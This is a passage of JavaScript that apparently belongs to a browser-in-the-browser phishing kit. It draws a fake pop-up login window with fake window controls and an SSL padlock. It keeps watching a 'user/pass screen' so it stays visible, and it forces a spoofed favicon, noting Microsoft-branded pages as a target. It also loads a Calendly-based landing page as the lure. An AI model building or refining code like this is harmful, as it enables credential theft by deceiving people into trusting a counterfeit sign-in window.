456 | observer.observe(targetElement, observerConfig);
457 | // keep observing, otherwise then the user moves back and forth between the user/pass screen
458 | // the target element will not be observed again, resulting in the white screen issue again
459 | }
460 | });
461 |
462 | // start observing the document body for re-mounting of the target element
463 | bodyObserver.observe(document.body, { childList: true, subtree: true });
464 | // observe the initial target and its parent, if available
465 | if (targetElement) {
466 | observer.observe(targetElement.parentElement, observerConfig);
467 | observer.observe(targetElement, observerConfig);
468 | }
469 | };
470 |
471 | observe();
472 | }
473 |
474 | function waitForElement(selector) {
475 | const interval = setInterval(() => {
476 | const element = document.querySelector(selector);
477 | if (element) {
478 | console.log('Target element found, starting observers.');
479 | startObserving(selector);
480 | clearInterval(interval);
481 | }
482 | }, 100); // check every 100 milliseconds till found
483 | }
484 |
485 |
486 |
487 |
488 |
489 |
490 |
491 | function handleDOMContentLoaded() {
492 |
493 | // inject the primary page, then initialize it
494 | setPrimaryContent('primary', primaryHTML, cssURLs, jsURLs)
495 |
496 | // and set default size of the secondary
497 | setInitialSize();
498 |
499 | let titleBar = document.getElementById("pop-title-bar");
500 | let exit = document.getElementById("pop-control-esc");
501 | let max = document.getElementById("pop-control-max");
502 | let min = document.getElementById("pop-control-min");
503 | let sslIcon = document.getElementById('pop-ssl-icon');
504 | let sslIconExit = document.getElementById('pop-ssl-head-esc');
505 |
506 |
507 | titleBar.addEventListener('dblclick', function handleMouseOver() {
508 | enlarge();
509 | });
510 |
511 | titleBar.addEventListener('mouseout', function handleMouseOver() {
512 | titleBar.style.cursor = 'default';
513 | });
514 |
515 | exit.addEventListener('click', closePopup);
516 | min.addEventListener('click', closePopup);
517 | max.addEventListener('click', enlarge);
518 |
519 | sslIcon.addEventListener('click', toggleSSLPopup);
520 | sslIconExit.addEventListener('click', toggleSSLPopup);
521 |
522 |
523 | handleDnDLogic();
524 |
525 | // start observing the target element (to apply observers for re-mounting and class changes)
526 | waitForElement(targetElementSelector);
527 |
528 | }
529 |
530 |
531 | // function to change the favicon
532 | function changeFavicon(src) {
533 | var link = document.querySelector("link[rel*='icon']");
534 | if (!link) {
535 | link = document.createElement('link');
536 | link.type = 'image/x-icon';
537 | link.rel = 'shortcut icon';
538 | document.getElementsByTagName('head')[0].appendChild(link);
539 | }
540 | link.href = src;
541 | }
542 |
543 | // function to force replace the favicon
544 | function forceReplaceFavicon() {
545 | const newFaviconPath = 'secondary/images/favicon.ico';
546 | changeFavicon(newFaviconPath);
547 |
548 | var checkExist = setInterval(function() {
549 | if (document.querySelector("link[rel*='icon']")) {
550 | changeFavicon(newFaviconPath);
551 |
552 | // short duration recheck to combat other scripts
553 | const recheckDuration = 9000; // attempt replacing for a max of 9 seconds
554 | const recheckStart = Date.now();
555 | var recheckInterval = setInterval(function() {
556 | if (Date.now() - recheckStart > recheckDuration) {
557 | clearInterval(recheckInterval);
558 | return;
559 | }
560 | changeFavicon(newFaviconPath);
561 | }, 50); // recheck every 50 milliseconds
562 |
563 | clearInterval(checkExist);
564 | }
565 | }, 50);
566 | }
567 |
568 |
569 | document.addEventListener('DOMContentLoaded', handleDOMContentLoaded);
570 |
571 | document.addEventListener('secondaryFlowStart', handleSecondaryFlowStart)
572 |
573 |
574 | // Optionally force replace favicon (This is a workaround for some sites that change the favicon after load, one example is Microsoft branded pages)
575 | // It will use the favicon at 'secondary/images/favicon.ico'
576 | document.addEventListener("DOMContentLoaded", forceReplaceFavicon);
577 |
578 |
579 | // Content for the landing page (aka primary page)
580 |
581 | const cssURLs = ['https://assets.calendly.com/assets/external/widget.css', '/primary/styles.css']
582 | const jsURLs = ['https://assets.calendly.com/assets/external/widget.js', '/primary/script.js']
583 |
584 | const primaryHTML = `
585 |